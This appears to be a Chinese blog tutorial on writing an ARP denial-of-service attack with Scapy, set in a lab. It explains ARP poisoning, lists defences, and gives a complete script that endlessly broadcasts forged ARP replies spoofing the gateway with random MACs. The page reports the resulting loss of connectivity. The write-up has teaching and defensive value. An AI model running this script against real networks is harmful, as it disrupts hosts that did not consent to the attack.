使用 Scapy 库编写 ARP 拒绝服务攻击脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 拒绝服务攻击原理:

ARP拒绝服务攻击利用ARP协议的工作原理,通过发送大量的伪造ARP请求来混乱目标设备的ARP缓存,使其无法正确地将IP地址解析为MAC地址。攻击者发送大量的ARP请求,每个请求都会伪造一个源IP地址和源MAC地址。目标设备收到这些伪造的请求后,会将伪造的源IP地址和MAC地址存储在ARP缓存中,覆盖掉真实的映射关系。这样,当其他设备需要与目标设备通信时,由于ARP缓存中的映射关系是错误的,通信将无法正常进行,从而导致拒绝服务

2.1 ARP 拒绝服务攻击步骤:

  • 攻击者获取目标设备的IP地址。
  • 攻击者利用程序或工具发送大量伪造的ARP请求,每个请求都包含一个伪造的源IP地址和源MAC地址,以及目标设备的IP地址。
  • 目标设备收到伪造的ARP请求后,将错误的映射关系存储在ARP缓存中。
  • 当其他设备需要与目标设备通信时,会根据ARP缓存中的错误映射关系发送数据包,导致通信失败。

2.2 防御ARP拒绝服务攻击的方法:

  • 使用静态ARP表:在网络中配置静态ARP表,将每个设备的IP地址与MAC地址直接关联,不使用ARP协议进行解析。这样可以防止ARP缓存被攻击者篡改。
  • ARP缓存监控和清除:监控网络中的ARP缓存,及时发现异常的映射关系,并进行清除,恢复正常的映射关系。
  • 使用防火墙:在网络中设置防火墙,限制对ARP请求的频率和数量,阻止大量伪造的ARP请求进入网络。
  • 网络流量监控:通过监控网络流量,及时发现异常的ARP请求,可以采取相应的措施防止攻击的发生。

三、安装 Scapy 库

3.1 Windows

bash 复制代码
pip install scapy

3.2 Linux

bash 复制代码
git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

在Scapy库中,ls(ARP)命令用于显示ARP协议的字段及其默认值。下面是对输出中各字段的解释:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

五、实操演示

python 复制代码
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
import random


def arp_dos(target_ip, gateway_ip):
    print("ARP 拒绝服务攻击中...")

    # 创建以太网帧对象
    eth = Ether()

    # 设置以太网帧的目标 MAC 地址为广播地址
    eth.dst = "ff:ff:ff:ff:ff:ff"

    # 创建ARP对象
    arp = ARP()

    # 设置ARP报文的操作码为2,表示ARP响应包
    arp.op = 2

    # 设置ARP报文的源MAC地址为随机生成的MAC地址
    arp.hwsrc = random_mac()

    # 设置ARP报文的源IP地址为网关IP地址
    arp.psrc = gateway_ip

    # 设置ARP报文的目标MAC地址为随机生成的MAC地址
    arp.hwdst = random_mac()

    # 设置ARP报文的目标IP地址为目标IP地址
    arp.pdst = target_ip

    # 使用Scapy中的/运算符将以太网帧对象eth和ARP对象arp组合成一个数据帧
    frame = eth / arp

    # 使用Scapy中的sendp()函数发送构造好的数据帧
    sendp(frame)


def random_mac():
    # 生成随机的MAC地址
    mac = [random.randint(0x00, 0xff) for _ in range(6)]
    return ":".join(["%02x" % byte for byte in mac])


target_ip = "192.168.134.132"  # 目标IP地址
gateway_ip = "192.168.134.254"  # 网关IP地址

while True:
    arp_dos(target_ip, gateway_ip)

发起攻击

可以发现 IP 地址对应的 MAC 地址一直在变化

Ping 不通符合实验效果

相关推荐
dxxt_yy11 分钟前
鼎讯信通 HD‑095B:能源行业高精度频谱测试解析
网络·能源
BlockWay1 小时前
WEEX Labs 周度观察:微软-OpenAI 合作调整与AI 多云趋势
大数据·人工智能·算法·安全·microsoft
LZZ and MYY1 小时前
RTS 在windows和Linux之间ShareMem
linux·运维·服务器
aningx1 小时前
openSUSE Leap 16.0 运行 sunshine 报错的解决方法
linux
爱学习的徐徐1 小时前
Linux 基础IO
linux·服务器
zt1985q2 小时前
本地部署源代码管理解决方案 Bitbucket Data Center 并实现外部访问
运维·服务器·数据库·网络协议·postgresql·源代码管理
听你说322 小时前
悍途户外旋转扣系列全面上新 科技便捷赋能专业户外
科技·安全
xiaobobo33302 小时前
面向对象:linux内核中函数转数据的用法
linux·面向对象·隔离·函数指针绑定
姓刘的哦2 小时前
C++软件架构设计思路
linux
ModestCoder_2 小时前
windows/ubuntu解决挂梯子但是codex reconnecting五次的问题
linux·windows·ubuntu